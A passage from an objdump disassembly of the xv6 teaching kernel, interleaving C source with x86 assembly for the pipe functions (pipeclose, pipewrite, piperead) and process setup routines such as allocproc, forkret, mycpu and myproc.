801032a9: 50 push %eax
801032aa: e8 81 db ff ff call 80100e30 <fileclose>
801032af: 83 c4 10 add $0x10,%esp
if(*f1)
801032b2: 8b 03 mov (%ebx),%eax
801032b4: 85 c0 test %eax,%eax
801032b6: 74 0c je 801032c4 <pipealloc+0xe4>
fileclose(*f1);
801032b8: 83 ec 0c sub $0xc,%esp
801032bb: 50 push %eax
801032bc: e8 6f db ff ff call 80100e30 <fileclose>
801032c1: 83 c4 10 add $0x10,%esp
return -1;
}
801032c4: 8d 65 f4 lea -0xc(%ebp),%esp
kfree((char*)p);
if(*f0)
fileclose(*f0);
if(*f1)
fileclose(*f1);
return -1;
801032c7: b8 ff ff ff ff mov $0xffffffff,%eax
}
801032cc: 5b pop %ebx
801032cd: 5e pop %esi
801032ce: 5f pop %edi
801032cf: 5d pop %ebp
801032d0: c3 ret
801032d1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
//PAGEBREAK: 20
bad:
if(p)
kfree((char*)p);
if(*f0)
801032d8: 8b 06 mov (%esi),%eax
801032da: 85 c0 test %eax,%eax
801032dc: 75 c8 jne 801032a6 <pipealloc+0xc6>
801032de: eb d2 jmp 801032b2 <pipealloc+0xd2>
801032e0 <pipeclose>:
return -1;
}
void
pipeclose(struct pipe *p, int writable)
{
801032e0: 55 push %ebp
801032e1: 89 e5 mov %esp,%ebp
801032e3: 56 push %esi
801032e4: 53 push %ebx
801032e5: 8b 5d 08 mov 0x8(%ebp),%ebx
801032e8: 8b 75 0c mov 0xc(%ebp),%esi
acquire(&p->lock);
801032eb: 83 ec 0c sub $0xc,%esp
801032ee: 53 push %ebx
801032ef: e8 7c 10 00 00 call 80104370 <acquire>
if(writable){
801032f4: 83 c4 10 add $0x10,%esp
801032f7: 85 f6 test %esi,%esi
801032f9: 74 45 je 80103340 <pipeclose+0x60>
p->writeopen = 0;
wakeup(&p->nread);
801032fb: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax
80103301: 83 ec 0c sub $0xc,%esp
void
pipeclose(struct pipe *p, int writable)
{
acquire(&p->lock);
if(writable){
p->writeopen = 0;
80103304: c7 83 40 02 00 00 00 movl $0x0,0x240(%ebx)
8010330b: 00 00 00
wakeup(&p->nread);
8010330e: 50 push %eax
8010330f: e8 cc 0b 00 00 call 80103ee0 <wakeup>
80103314: 83 c4 10 add $0x10,%esp
} else {
p->readopen = 0;
wakeup(&p->nwrite);
}
if(p->readopen == 0 && p->writeopen == 0){
80103317: 8b 93 3c 02 00 00 mov 0x23c(%ebx),%edx
8010331d: 85 d2 test %edx,%edx
8010331f: 75 0a jne 8010332b <pipeclose+0x4b>
80103321: 8b 83 40 02 00 00 mov 0x240(%ebx),%eax
80103327: 85 c0 test %eax,%eax
80103329: 74 35 je 80103360 <pipeclose+0x80>
release(&p->lock);
kfree((char*)p);
} else
release(&p->lock);
8010332b: 89 5d 08 mov %ebx,0x8(%ebp)
}
8010332e: 8d 65 f8 lea -0x8(%ebp),%esp
80103331: 5b pop %ebx
80103332: 5e pop %esi
80103333: 5d pop %ebp
}
if(p->readopen == 0 && p->writeopen == 0){
release(&p->lock);
kfree((char*)p);
} else
release(&p->lock);
80103334: e9 e7 10 00 00 jmp 80104420 <release>
80103339: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(writable){
p->writeopen = 0;
wakeup(&p->nread);
} else {
p->readopen = 0;
wakeup(&p->nwrite);
80103340: 8d 83 38 02 00 00 lea 0x238(%ebx),%eax
80103346: 83 ec 0c sub $0xc,%esp
acquire(&p->lock);
if(writable){
p->writeopen = 0;
wakeup(&p->nread);
} else {
p->readopen = 0;
80103349: c7 83 3c 02 00 00 00 movl $0x0,0x23c(%ebx)
80103350: 00 00 00
wakeup(&p->nwrite);
80103353: 50 push %eax
80103354: e8 87 0b 00 00 call 80103ee0 <wakeup>
80103359: 83 c4 10 add $0x10,%esp
8010335c: eb b9 jmp 80103317 <pipeclose+0x37>
8010335e: 66 90 xchg %ax,%ax
}
if(p->readopen == 0 && p->writeopen == 0){
release(&p->lock);
80103360: 83 ec 0c sub $0xc,%esp
80103363: 53 push %ebx
80103364: e8 b7 10 00 00 call 80104420 <release>
kfree((char*)p);
80103369: 89 5d 08 mov %ebx,0x8(%ebp)
8010336c: 83 c4 10 add $0x10,%esp
} else
release(&p->lock);
}
8010336f: 8d 65 f8 lea -0x8(%ebp),%esp
80103372: 5b pop %ebx
80103373: 5e pop %esi
80103374: 5d pop %ebp
p->readopen = 0;
wakeup(&p->nwrite);
}
if(p->readopen == 0 && p->writeopen == 0){
release(&p->lock);
kfree((char*)p);
80103375: e9 56 ef ff ff jmp 801022d0 <kfree>
8010337a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103380 <pipewrite>:
}
//PAGEBREAK: 40
int
pipewrite(struct pipe *p, char *addr, int n)
{
80103380: 55 push %ebp
80103381: 89 e5 mov %esp,%ebp
80103383: 57 push %edi
80103384: 56 push %esi
80103385: 53 push %ebx
80103386: 83 ec 28 sub $0x28,%esp
80103389: 8b 5d 08 mov 0x8(%ebp),%ebx
int i;
acquire(&p->lock);
8010338c: 53 push %ebx
8010338d: e8 de 0f 00 00 call 80104370 <acquire>
for(i = 0; i < n; i++){
80103392: 8b 45 10 mov 0x10(%ebp),%eax
80103395: 83 c4 10 add $0x10,%esp
80103398: 85 c0 test %eax,%eax
8010339a: 0f 8e b9 00 00 00 jle 80103459 <pipewrite+0xd9>
801033a0: 8b 4d 0c mov 0xc(%ebp),%ecx
801033a3: 8b 83 38 02 00 00 mov 0x238(%ebx),%eax
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
if(p->readopen == 0 || myproc()->killed){
release(&p->lock);
return -1;
}
wakeup(&p->nread);
801033a9: 8d bb 34 02 00 00 lea 0x234(%ebx),%edi
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
801033af: 8d b3 38 02 00 00 lea 0x238(%ebx),%esi
801033b5: 89 4d e4 mov %ecx,-0x1c(%ebp)
801033b8: 03 4d 10 add 0x10(%ebp),%ecx
801033bb: 89 4d e0 mov %ecx,-0x20(%ebp)
{
int i;
acquire(&p->lock);
for(i = 0; i < n; i++){
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
801033be: 8b 8b 34 02 00 00 mov 0x234(%ebx),%ecx
801033c4: 8d 91 00 02 00 00 lea 0x200(%ecx),%edx
801033ca: 39 d0 cmp %edx,%eax
801033cc: 74 38 je 80103406 <pipewrite+0x86>
801033ce: eb 59 jmp 80103429 <pipewrite+0xa9>
if(p->readopen == 0 || myproc()->killed){
801033d0: e8 9b 03 00 00 call 80103770 <myproc>
801033d5: 8b 48 24 mov 0x24(%eax),%ecx
801033d8: 85 c9 test %ecx,%ecx
801033da: 75 34 jne 80103410 <pipewrite+0x90>
release(&p->lock);
return -1;
}
wakeup(&p->nread);
801033dc: 83 ec 0c sub $0xc,%esp
801033df: 57 push %edi
801033e0: e8 fb 0a 00 00 call 80103ee0 <wakeup>
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
801033e5: 58 pop %eax
801033e6: 5a pop %edx
801033e7: 53 push %ebx
801033e8: 56 push %esi
801033e9: e8 42 09 00 00 call 80103d30 <sleep>
{
int i;
acquire(&p->lock);
for(i = 0; i < n; i++){
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
801033ee: 8b 83 34 02 00 00 mov 0x234(%ebx),%eax
801033f4: 8b 93 38 02 00 00 mov 0x238(%ebx),%edx
801033fa: 83 c4 10 add $0x10,%esp
801033fd: 05 00 02 00 00 add $0x200,%eax
80103402: 39 c2 cmp %eax,%edx
80103404: 75 2a jne 80103430 <pipewrite+0xb0>
if(p->readopen == 0 || myproc()->killed){
80103406: 8b 83 3c 02 00 00 mov 0x23c(%ebx),%eax
8010340c: 85 c0 test %eax,%eax
8010340e: 75 c0 jne 801033d0 <pipewrite+0x50>
release(&p->lock);
80103410: 83 ec 0c sub $0xc,%esp
80103413: 53 push %ebx
80103414: e8 07 10 00 00 call 80104420 <release>
return -1;
80103419: 83 c4 10 add $0x10,%esp
8010341c: b8 ff ff ff ff mov $0xffffffff,%eax
p->data[p->nwrite++ % PIPESIZE] = addr[i];
}
wakeup(&p->nread); //DOC: pipewrite-wakeup1
release(&p->lock);
return n;
}
80103421: 8d 65 f4 lea -0xc(%ebp),%esp
80103424: 5b pop %ebx
80103425: 5e pop %esi
80103426: 5f pop %edi
80103427: 5d pop %ebp
80103428: c3 ret
{
int i;
acquire(&p->lock);
for(i = 0; i < n; i++){
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
80103429: 89 c2 mov %eax,%edx
8010342b: 90 nop
8010342c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
}
wakeup(&p->nread);
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
}
p->data[p->nwrite++ % PIPESIZE] = addr[i];
80103430: 8b 4d e4 mov -0x1c(%ebp),%ecx
80103433: 8d 42 01 lea 0x1(%edx),%eax
80103436: 83 45 e4 01 addl $0x1,-0x1c(%ebp)
8010343a: 81 e2 ff 01 00 00 and $0x1ff,%edx
80103440: 89 83 38 02 00 00 mov %eax,0x238(%ebx)
80103446: 0f b6 09 movzbl (%ecx),%ecx
80103449: 88 4c 13 34 mov %cl,0x34(%ebx,%edx,1)
8010344d: 8b 4d e4 mov -0x1c(%ebp),%ecx
pipewrite(struct pipe *p, char *addr, int n)
{
int i;
acquire(&p->lock);
for(i = 0; i < n; i++){
80103450: 3b 4d e0 cmp -0x20(%ebp),%ecx
80103453: 0f 85 65 ff ff ff jne 801033be <pipewrite+0x3e>
wakeup(&p->nread);
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
}
p->data[p->nwrite++ % PIPESIZE] = addr[i];
}
wakeup(&p->nread); //DOC: pipewrite-wakeup1
80103459: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax
8010345f: 83 ec 0c sub $0xc,%esp
80103462: 50 push %eax
80103463: e8 78 0a 00 00 call 80103ee0 <wakeup>
release(&p->lock);
80103468: 89 1c 24 mov %ebx,(%esp)
8010346b: e8 b0 0f 00 00 call 80104420 <release>
return n;
80103470: 83 c4 10 add $0x10,%esp
80103473: 8b 45 10 mov 0x10(%ebp),%eax
80103476: eb a9 jmp 80103421 <pipewrite+0xa1>
80103478: 90 nop
80103479: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103480 <piperead>:
}
int
piperead(struct pipe *p, char *addr, int n)
{
80103480: 55 push %ebp
80103481: 89 e5 mov %esp,%ebp
80103483: 57 push %edi
80103484: 56 push %esi
80103485: 53 push %ebx
80103486: 83 ec 18 sub $0x18,%esp
80103489: 8b 5d 08 mov 0x8(%ebp),%ebx
8010348c: 8b 7d 0c mov 0xc(%ebp),%edi
int i;
acquire(&p->lock);
8010348f: 53 push %ebx
80103490: e8 db 0e 00 00 call 80104370 <acquire>
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
80103495: 83 c4 10 add $0x10,%esp
80103498: 8b 83 34 02 00 00 mov 0x234(%ebx),%eax
8010349e: 39 83 38 02 00 00 cmp %eax,0x238(%ebx)
801034a4: 75 6a jne 80103510 <piperead+0x90>
801034a6: 8b b3 40 02 00 00 mov 0x240(%ebx),%esi
801034ac: 85 f6 test %esi,%esi
801034ae: 0f 84 cc 00 00 00 je 80103580 <piperead+0x100>
if(myproc()->killed){
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
801034b4: 8d b3 34 02 00 00 lea 0x234(%ebx),%esi
801034ba: eb 2d jmp 801034e9 <piperead+0x69>
801034bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801034c0: 83 ec 08 sub $0x8,%esp
801034c3: 53 push %ebx
801034c4: 56 push %esi
801034c5: e8 66 08 00 00 call 80103d30 <sleep>
piperead(struct pipe *p, char *addr, int n)
{
int i;
acquire(&p->lock);
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
801034ca: 83 c4 10 add $0x10,%esp
801034cd: 8b 83 38 02 00 00 mov 0x238(%ebx),%eax
801034d3: 39 83 34 02 00 00 cmp %eax,0x234(%ebx)
801034d9: 75 35 jne 80103510 <piperead+0x90>
801034db: 8b 93 40 02 00 00 mov 0x240(%ebx),%edx
801034e1: 85 d2 test %edx,%edx
801034e3: 0f 84 97 00 00 00 je 80103580 <piperead+0x100>
if(myproc()->killed){
801034e9: e8 82 02 00 00 call 80103770 <myproc>
801034ee: 8b 48 24 mov 0x24(%eax),%ecx
801034f1: 85 c9 test %ecx,%ecx
801034f3: 74 cb je 801034c0 <piperead+0x40>
release(&p->lock);
801034f5: 83 ec 0c sub $0xc,%esp
801034f8: 53 push %ebx
801034f9: e8 22 0f 00 00 call 80104420 <release>
return -1;
801034fe: 83 c4 10 add $0x10,%esp
addr[i] = p->data[p->nread++ % PIPESIZE];
}
wakeup(&p->nwrite); //DOC: piperead-wakeup
release(&p->lock);
return i;
}
80103501: 8d 65 f4 lea -0xc(%ebp),%esp
acquire(&p->lock);
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
if(myproc()->killed){
release(&p->lock);
return -1;
80103504: b8 ff ff ff ff mov $0xffffffff,%eax
addr[i] = p->data[p->nread++ % PIPESIZE];
}
wakeup(&p->nwrite); //DOC: piperead-wakeup
release(&p->lock);
return i;
}
80103509: 5b pop %ebx
8010350a: 5e pop %esi
8010350b: 5f pop %edi
8010350c: 5d pop %ebp
8010350d: c3 ret
8010350e: 66 90 xchg %ax,%ax
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
}
for(i = 0; i < n; i++){ //DOC: piperead-copy
80103510: 8b 45 10 mov 0x10(%ebp),%eax
80103513: 85 c0 test %eax,%eax
80103515: 7e 69 jle 80103580 <piperead+0x100>
if(p->nread == p->nwrite)
80103517: 8b 83 34 02 00 00 mov 0x234(%ebx),%eax
8010351d: 31 c9 xor %ecx,%ecx
8010351f: eb 15 jmp 80103536 <piperead+0xb6>
80103521: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103528: 8b 83 34 02 00 00 mov 0x234(%ebx),%eax
8010352e: 3b 83 38 02 00 00 cmp 0x238(%ebx),%eax
80103534: 74 5a je 80103590 <piperead+0x110>
break;
addr[i] = p->data[p->nread++ % PIPESIZE];
80103536: 8d 70 01 lea 0x1(%eax),%esi
80103539: 25 ff 01 00 00 and $0x1ff,%eax
8010353e: 89 b3 34 02 00 00 mov %esi,0x234(%ebx)
80103544: 0f b6 44 03 34 movzbl 0x34(%ebx,%eax,1),%eax
80103549: 88 04 0f mov %al,(%edi,%ecx,1)
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
}
for(i = 0; i < n; i++){ //DOC: piperead-copy
8010354c: 83 c1 01 add $0x1,%ecx
8010354f: 39 4d 10 cmp %ecx,0x10(%ebp)
80103552: 75 d4 jne 80103528 <piperead+0xa8>
if(p->nread == p->nwrite)
break;
addr[i] = p->data[p->nread++ % PIPESIZE];
}
wakeup(&p->nwrite); //DOC: piperead-wakeup
80103554: 8d 83 38 02 00 00 lea 0x238(%ebx),%eax
8010355a: 83 ec 0c sub $0xc,%esp
8010355d: 50 push %eax
8010355e: e8 7d 09 00 00 call 80103ee0 <wakeup>
release(&p->lock);
80103563: 89 1c 24 mov %ebx,(%esp)
80103566: e8 b5 0e 00 00 call 80104420 <release>
return i;
8010356b: 8b 45 10 mov 0x10(%ebp),%eax
8010356e: 83 c4 10 add $0x10,%esp
}
80103571: 8d 65 f4 lea -0xc(%ebp),%esp
80103574: 5b pop %ebx
80103575: 5e pop %esi
80103576: 5f pop %edi
80103577: 5d pop %ebp
80103578: c3 ret
80103579: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
}
for(i = 0; i < n; i++){ //DOC: piperead-copy
80103580: c7 45 10 00 00 00 00 movl $0x0,0x10(%ebp)
80103587: eb cb jmp 80103554 <piperead+0xd4>
80103589: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103590: 89 4d 10 mov %ecx,0x10(%ebp)
80103593: eb bf jmp 80103554 <piperead+0xd4>
80103595: 66 90 xchg %ax,%ax
80103597: 66 90 xchg %ax,%ax
80103599: 66 90 xchg %ax,%ax
8010359b: 66 90 xchg %ax,%ax
8010359d: 66 90 xchg %ax,%ax
8010359f: 90 nop
801035a0 <allocproc>:
// If found, change state to EMBRYO and initialize
// state required to run in the kernel.
// Otherwise return 0.
static struct proc*
allocproc(void)
{
801035a0: 55 push %ebp
801035a1: 89 e5 mov %esp,%ebp
801035a3: 53 push %ebx
struct proc *p;
char *sp;
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
801035a4: bb 54 2d 11 80 mov $0x80112d54,%ebx
// If found, change state to EMBRYO and initialize
// state required to run in the kernel.
// Otherwise return 0.
static struct proc*
allocproc(void)
{
801035a9: 83 ec 10 sub $0x10,%esp
struct proc *p;
char *sp;
acquire(&ptable.lock);
801035ac: 68 20 2d 11 80 push $0x80112d20
801035b1: e8 ba 0d 00 00 call 80104370 <acquire>
801035b6: 83 c4 10 add $0x10,%esp
801035b9: eb 10 jmp 801035cb <allocproc+0x2b>
801035bb: 90 nop
801035bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
801035c0: 83 eb 80 sub $0xffffff80,%ebx
801035c3: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx
801035c9: 74 75 je 80103640 <allocproc+0xa0>
if(p->state == UNUSED)
801035cb: 8b 43 0c mov 0xc(%ebx),%eax
801035ce: 85 c0 test %eax,%eax
801035d0: 75 ee jne 801035c0 <allocproc+0x20>
release(&ptable.lock);
return 0;
found:
p->state = EMBRYO;
p->pid = nextpid++;
801035d2: a1 04 a0 10 80 mov 0x8010a004,%eax
release(&ptable.lock);
801035d7: 83 ec 0c sub $0xc,%esp
release(&ptable.lock);
return 0;
found:
p->state = EMBRYO;
801035da: c7 43 0c 01 00 00 00 movl $0x1,0xc(%ebx)
p->pid = nextpid++;
release(&ptable.lock);
801035e1: 68 20 2d 11 80 push $0x80112d20
release(&ptable.lock);
return 0;
found:
p->state = EMBRYO;
p->pid = nextpid++;
801035e6: 8d 50 01 lea 0x1(%eax),%edx
801035e9: 89 43 10 mov %eax,0x10(%ebx)
801035ec: 89 15 04 a0 10 80 mov %edx,0x8010a004
release(&ptable.lock);
801035f2: e8 29 0e 00 00 call 80104420 <release>
// Allocate kernel stack.
if((p->kstack = kalloc()) == 0){
801035f7: e8 84 ee ff ff call 80102480 <kalloc>
801035fc: 83 c4 10 add $0x10,%esp
801035ff: 85 c0 test %eax,%eax
80103601: 89 43 08 mov %eax,0x8(%ebx)
80103604: 74 51 je 80103657 <allocproc+0xb7>
return 0;
}
sp = p->kstack + KSTACKSIZE;
// Leave room for trap frame.
sp -= sizeof *p->tf;
80103606: 8d 90 b4 0f 00 00 lea 0xfb4(%eax),%edx
sp -= 4;
*(uint*)sp = (uint)trapret;
sp -= sizeof *p->context;
p->context = (struct context*)sp;
memset(p->context, 0, sizeof *p->context);
8010360c: 83 ec 04 sub $0x4,%esp
// Set up new context to start executing at forkret,
// which returns to trapret.
sp -= 4;
*(uint*)sp = (uint)trapret;
sp -= sizeof *p->context;
8010360f: 05 9c 0f 00 00 add $0xf9c,%eax
return 0;
}
sp = p->kstack + KSTACKSIZE;
// Leave room for trap frame.
sp -= sizeof *p->tf;
80103614: 89 53 18 mov %edx,0x18(%ebx)
p->tf = (struct trapframe*)sp;
// Set up new context to start executing at forkret,
// which returns to trapret.
sp -= 4;
*(uint*)sp = (uint)trapret;
80103617: c7 40 14 91 56 10 80 movl $0x80105691,0x14(%eax)
sp -= sizeof *p->context;
p->context = (struct context*)sp;
memset(p->context, 0, sizeof *p->context);
8010361e: 6a 14 push $0x14
80103620: 6a 00 push $0x0
80103622: 50 push %eax
// which returns to trapret.
sp -= 4;
*(uint*)sp = (uint)trapret;
sp -= sizeof *p->context;
p->context = (struct context*)sp;
80103623: 89 43 1c mov %eax,0x1c(%ebx)
memset(p->context, 0, sizeof *p->context);
80103626: e8 45 0e 00 00 call 80104470 <memset>
p->context->eip = (uint)forkret;
8010362b: 8b 43 1c mov 0x1c(%ebx),%eax
return p;
8010362e: 83 c4 10 add $0x10,%esp
*(uint*)sp = (uint)trapret;
sp -= sizeof *p->context;
p->context = (struct context*)sp;
memset(p->context, 0, sizeof *p->context);
p->context->eip = (uint)forkret;
80103631: c7 40 10 60 36 10 80 movl $0x80103660,0x10(%eax)
return p;
80103638: 89 d8 mov %ebx,%eax
}
8010363a: 8b 5d fc mov -0x4(%ebp),%ebx
8010363d: c9 leave
8010363e: c3 ret
8010363f: 90 nop
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
if(p->state == UNUSED)
goto found;
release(&ptable.lock);
80103640: 83 ec 0c sub $0xc,%esp
80103643: 68 20 2d 11 80 push $0x80112d20
80103648: e8 d3 0d 00 00 call 80104420 <release>
return 0;
8010364d: 83 c4 10 add $0x10,%esp
80103650: 31 c0 xor %eax,%eax
p->context = (struct context*)sp;
memset(p->context, 0, sizeof *p->context);
p->context->eip = (uint)forkret;
return p;
}
80103652: 8b 5d fc mov -0x4(%ebp),%ebx
80103655: c9 leave
80103656: c3 ret
release(&ptable.lock);
// Allocate kernel stack.
if((p->kstack = kalloc()) == 0){
p->state = UNUSED;
80103657: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
return 0;
8010365e: eb da jmp 8010363a <allocproc+0x9a>
80103660 <forkret>:
// A fork child's very first scheduling by scheduler()
// will swtch here. "Return" to user space.
void
forkret(void)
{
80103660: 55 push %ebp
80103661: 89 e5 mov %esp,%ebp
80103663: 83 ec 14 sub $0x14,%esp
static int first = 1;
// Still holding ptable.lock from scheduler.
release(&ptable.lock);
80103666: 68 20 2d 11 80 push $0x80112d20
8010366b: e8 b0 0d 00 00 call 80104420 <release>
if (first) {
80103670: a1 00 a0 10 80 mov 0x8010a000,%eax
80103675: 83 c4 10 add $0x10,%esp
80103678: 85 c0 test %eax,%eax
8010367a: 75 04 jne 80103680 <forkret+0x20>
iinit(ROOTDEV);
initlog(ROOTDEV);
}
// Return to "caller", actually trapret (see allocproc).
}
8010367c: c9 leave
8010367d: c3 ret
8010367e: 66 90 xchg %ax,%ax
if (first) {
// Some initialization functions must be run in the context
// of a regular process (e.g., they call sleep), and thus cannot
// be run from main().
first = 0;
iinit(ROOTDEV);
80103680: 83 ec 0c sub $0xc,%esp
if (first) {
// Some initialization functions must be run in the context
// of a regular process (e.g., they call sleep), and thus cannot
// be run from main().
first = 0;
80103683: c7 05 00 a0 10 80 00 movl $0x0,0x8010a000
8010368a: 00 00 00
iinit(ROOTDEV);
8010368d: 6a 01 push $0x1
8010368f: e8 cc dd ff ff call 80101460 <iinit>
initlog(ROOTDEV);
80103694: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8010369b: e8 00 f4 ff ff call 80102aa0 <initlog>
801036a0: 83 c4 10 add $0x10,%esp
}
// Return to "caller", actually trapret (see allocproc).
}
801036a3: c9 leave
801036a4: c3 ret
801036a5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801036a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801036b0 <pinit>:
static void wakeup1(void *chan);
void
pinit(void)
{
801036b0: 55 push %ebp
801036b1: 89 e5 mov %esp,%ebp
801036b3: 83 ec 10 sub $0x10,%esp
initlock(&ptable.lock, "ptable");
801036b6: 68 95 74 10 80 push $0x80107495
801036bb: 68 20 2d 11 80 push $0x80112d20
801036c0: e8 4b 0b 00 00 call 80104210 <initlock>
}
801036c5: 83 c4 10 add $0x10,%esp
801036c8: c9 leave
801036c9: c3 ret
801036ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801036d0 <mycpu>:
// Must be called with interrupts disabled to avoid the caller being
// rescheduled between reading lapicid and running through the loop.
struct cpu*
mycpu(void)
{
801036d0: 55 push %ebp
801036d1: 89 e5 mov %esp,%ebp
801036d3: 56 push %esi
801036d4: 53 push %ebx
static inline uint
readeflags(void)
{
uint eflags;
asm volatile("pushfl; popl %0" : "=r" (eflags));
801036d5: 9c pushf
801036d6: 58 pop %eax
int apicid, i;
if(readeflags()&FL_IF)
801036d7: f6 c4 02 test $0x2,%ah
801036da: 75 5b jne 80103737 <mycpu+0x67>
panic("mycpu called with interrupts enabled\n");
apicid = lapicid();
801036dc: e8 ff ef ff ff call 801026e0 <lapicid>
// APIC IDs are not guaranteed to be contiguous. Maybe we should have
// a reverse map, or reserve a register to store &cpus[i].
for (i = 0; i < ncpu; ++i) {
801036e1: 8b 35 00 2d 11 80 mov 0x80112d00,%esi
801036e7: 85 f6 test %esi,%esi
801036e9: 7e 3f jle 8010372a <mycpu+0x5a>
if (cpus[i].apicid == apicid)
801036eb: 0f b6 15 80 27 11 80 movzbl 0x80112780,%edx
801036f2: 39 d0 cmp %edx,%eax
801036f4: 74 30 je 80103726 <mycpu+0x56>
801036f6: b9 30 28 11 80 mov $0x80112830,%ecx
801036fb: 31 d2 xor %edx,%edx
801036fd: 8d 76 00 lea 0x0(%esi),%esi
panic("mycpu called with interrupts enabled\n");
apicid = lapicid();
// APIC IDs are not guaranteed to be contiguous. Maybe we should have
// a reverse map, or reserve a register to store &cpus[i].
for (i = 0; i < ncpu; ++i) {
80103700: 83 c2 01 add $0x1,%edx
80103703: 39 f2 cmp %esi,%edx
80103705: 74 23 je 8010372a <mycpu+0x5a>
if (cpus[i].apicid == apicid)
80103707: 0f b6 19 movzbl (%ecx),%ebx
8010370a: 81 c1 b0 00 00 00 add $0xb0,%ecx
80103710: 39 d8 cmp %ebx,%eax
80103712: 75 ec jne 80103700 <mycpu+0x30>
return &cpus[i];
80103714: 69 c2 b0 00 00 00 imul $0xb0,%edx,%eax
}
panic("unknown apicid\n");
}
8010371a: 8d 65 f8 lea -0x8(%ebp),%esp
8010371d: 5b pop %ebx
apicid = lapicid();
// APIC IDs are not guaranteed to be contiguous. Maybe we should have
// a reverse map, or reserve a register to store &cpus[i].
for (i = 0; i < ncpu; ++i) {
if (cpus[i].apicid == apicid)
return &cpus[i];
8010371e: 05 80 27 11 80 add $0x80112780,%eax
}
panic("unknown apicid\n");
}
80103723: 5e pop %esi
80103724: 5d pop %ebp
80103725: c3 ret
panic("mycpu called with interrupts enabled\n");
apicid = lapicid();
// APIC IDs are not guaranteed to be contiguous. Maybe we should have
// a reverse map, or reserve a register to store &cpus[i].
for (i = 0; i < ncpu; ++i) {
80103726: 31 d2 xor %edx,%edx
80103728: eb ea jmp 80103714 <mycpu+0x44>
if (cpus[i].apicid == apicid)
return &cpus[i];
}
panic("unknown apicid\n");
8010372a: 83 ec 0c sub $0xc,%esp
8010372d: 68 9c 74 10 80 push $0x8010749c
80103732: e8 39 cc ff ff call 80100370 <panic>
mycpu(void)
{
int apicid, i;
if(readeflags()&FL_IF)
panic("mycpu called with interrupts enabled\n");
80103737: 83 ec 0c sub $0xc,%esp
8010373a: 68 88 75 10 80 push $0x80107588
8010373f: e8 2c cc ff ff call 80100370 <panic>
80103744: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010374a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80103750 <cpuid>:
initlock(&ptable.lock, "ptable");
}
// Must be called with interrupts disabled
int
cpuid() {
80103750: 55 push %ebp
80103751: 89 e5 mov %esp,%ebp
80103753: 83 ec 08 sub $0x8,%esp
return mycpu()-cpus;
80103756: e8 75 ff ff ff call 801036d0 <mycpu>
8010375b: 2d 80 27 11 80 sub $0x80112780,%eax
}
80103760: c9 leave
}
// Must be called with interrupts disabled
int
cpuid() {
return mycpu()-cpus;
80103761: c1 f8 04 sar $0x4,%eax
80103764: 69 c0 a3 8b 2e ba imul $0xba2e8ba3,%eax,%eax
}
8010376a: c3 ret
8010376b: 90 nop
8010376c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103770 <myproc>:
}
// Disable interrupts so that we are not rescheduled
// while reading proc from the cpu structure
struct proc*
myproc(void) {
80103770: 55 push %ebp
80103771: 89 e5 mov %esp,%ebp
80103773: 53 push %ebx
80103774: 83 ec 04 sub $0x4,%esp
struct cpu *c;
struct proc *p;
pushcli();
80103777: e8 14 0b 00 00 call 80104290 <pushcli>
c = mycpu();
8010377c: e8 4f ff ff ff call 801036d0 <mycpu>
p = c->proc;
80103781: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx
popcli();
80103787: e8 44 0b 00 00 call 801042d0 <popcli>
return p;
}
8010378c: 83 c4 04 add $0x4,%esp
8010378f: 89 d8 mov %ebx,%eax
80103791: 5b pop %ebx
80103792: 5d pop %ebp
80103793: c3 ret
80103794: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010379a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
801037a0 <userinit>:
//PAGEBREAK: 32
// Set up first user process.
void
userinit(void)
{
801037a0: 55 push %ebp
801037a1: 89 e5 mov %esp,%ebp
801037a3: 53 push %ebx
801037a4: 83 ec 04 sub $0x4,%esp
struct proc *p;
extern char _binary_initcode_start[], _binary_initcode_size[];
p = allocproc();
801037a7: e8 f4 fd ff ff call 801035a0 <allocproc>
801037ac: 89 c3 mov %eax,%ebx
initproc = p;
801037ae: a3 b8 a5 10 80 mov %eax,0x8010a5b8
